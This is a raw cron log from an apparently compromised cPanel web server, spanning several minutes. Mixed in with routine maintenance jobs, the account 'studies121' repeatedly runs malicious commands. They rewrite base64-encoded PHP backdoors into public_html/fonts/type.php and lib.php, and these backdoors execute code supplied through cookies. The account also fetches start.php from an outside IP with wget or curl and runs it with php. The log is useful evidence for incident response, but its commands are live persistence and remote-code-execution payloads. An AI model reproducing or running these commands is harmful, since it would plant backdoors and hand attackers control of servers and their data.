Sep  3 06:10:01 ip-184-168-122-23 CROND[15364]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:10:01 ip-184-168-122-23 CROND[15365]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 06:10:01 ip-184-168-122-23 CROND[15367]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 06:10:01 ip-184-168-122-23 CROND[15371]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:10:01 ip-184-168-122-23 CROND[15372]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 06:10:01 ip-184-168-122-23 CROND[15373]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 06:10:01 ip-184-168-122-23 CROND[15374]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 06:10:01 ip-184-168-122-23 CROND[15380]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 06:11:01 ip-184-168-122-23 CROND[15576]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 06:11:01 ip-184-168-122-23 CROND[15577]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:11:01 ip-184-168-122-23 CROND[15578]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:11:01 ip-184-168-122-23 CROND[15579]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 06:12:01 ip-184-168-122-23 CROND[15690]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 06:12:01 ip-184-168-122-23 CROND[15691]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 06:12:01 ip-184-168-122-23 CROND[15694]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 06:12:01 ip-184-168-122-23 CROND[15696]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:12:01 ip-184-168-122-23 CROND[15695]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:13:01 ip-184-168-122-23 CROND[15804]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:13:01 ip-184-168-122-23 CROND[15805]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 06:13:01 ip-184-168-122-23 CROND[15811]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 06:13:01 ip-184-168-122-23 CROND[15812]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:14:01 ip-184-168-122-23 CROND[15915]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 06:14:01 ip-184-168-122-23 CROND[15916]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 06:14:01 ip-184-168-122-23 CROND[15919]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:14:01 ip-184-168-122-23 CROND[15920]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 06:14:01 ip-184-168-122-23 CROND[15921]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:15:01 ip-184-168-122-23 CROND[16083]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 06:15:01 ip-184-168-122-23 CROND[16085]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  3 06:15:01 ip-184-168-122-23 CROND[16086]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:15:01 ip-184-168-122-23 CROND[16088]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 06:15:01 ip-184-168-122-23 CROND[16090]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:15:01 ip-184-168-122-23 CROND[16087]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 06:15:01 ip-184-168-122-23 CROND[16091]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Sep  3 06:15:01 ip-184-168-122-23 CROND[16089]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 06:16:01 ip-184-168-122-23 CROND[16276]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:16:01 ip-184-168-122-23 CROND[16279]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 06:16:01 ip-184-168-122-23 CROND[16278]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 06:16:01 ip-184-168-122-23 CROND[16281]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:16:01 ip-184-168-122-23 CROND[16282]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 06:16:01 ip-184-168-122-23 CROND[16283]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 06:17:01 ip-184-168-122-23 CROND[16450]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 06:17:01 ip-184-168-122-23 CROND[16451]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:17:01 ip-184-168-122-23 CROND[16452]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:17:01 ip-184-168-122-23 CROND[16453]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 06:18:01 ip-184-168-122-23 CROND[16568]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:18:01 ip-184-168-122-23 CROND[16570]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 06:18:01 ip-184-168-122-23 CROND[16569]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 06:18:01 ip-184-168-122-23 CROND[16576]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:18:01 ip-184-168-122-23 CROND[16577]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 06:19:01 ip-184-168-122-23 CROND[16667]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:19:01 ip-184-168-122-23 CROND[16669]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 06:19:01 ip-184-168-122-23 CROND[16671]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:19:01 ip-184-168-122-23 CROND[16672]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 06:20:01 ip-184-168-122-23 CROND[16790]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 06:20:01 ip-184-168-122-23 CROND[16792]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  3 06:20:01 ip-184-168-122-23 CROND[16794]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:20:01 ip-184-168-122-23 CROND[16795]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 06:20:01 ip-184-168-122-23 CROND[16798]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 06:20:01 ip-184-168-122-23 CROND[16796]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 06:20:01 ip-184-168-122-23 CROND[16799]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 06:20:01 ip-184-168-122-23 CROND[16800]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 06:20:01 ip-184-168-122-23 CROND[16801]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:21:01 ip-184-168-122-23 CROND[16925]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  3 06:21:01 ip-184-168-122-23 CROND[16926]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 06:21:01 ip-184-168-122-23 CROND[16927]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  3 06:21:01 ip-184-168-122-23 CROND[16929]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 06:22:01 ip-184-168-122-23 CROND[17097]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
